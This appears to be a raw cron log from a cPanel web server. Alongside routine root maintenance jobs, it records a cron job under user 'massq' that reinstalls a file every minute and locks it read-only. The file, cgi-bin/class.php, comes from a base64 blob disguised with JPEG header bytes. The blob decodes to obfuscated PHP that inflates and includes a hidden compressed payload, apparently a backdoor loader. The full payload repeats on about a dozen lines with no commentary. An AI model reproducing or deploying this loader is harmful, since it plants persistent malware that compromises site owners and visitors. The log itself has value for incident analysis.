Nov 15 09:50:01 server CROND[5921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:51:01 server CROND[6245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:52:01 server CROND[6615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:53:01 server CROND[6886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:54:01 server CROND[7153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:55:01 server CROND[7529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 09:55:01 server CROND[7531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 09:55:01 server CROND[7530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:56:01 server CROND[7850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:57:01 server CROND[8238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:57:01 server CROND[8240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 09:58:01 server CROND[8511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 09:59:01 server CROND[8866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:00:01 server CROND[9237]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 10:00:01 server CROND[9241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:00:01 server CROND[9239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:00:01 server CROND[9242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:00:01 server CROND[9240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 10:01:01 server CROND[9576]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 10:01:01 server CROND[9577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:01:01 server run-parts(/etc/cron.hourly)[9576]: starting 0anacron
Nov 15 10:01:01 server run-parts(/etc/cron.hourly)[9590]: finished 0anacron
Nov 15 10:02:01 server CROND[9952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
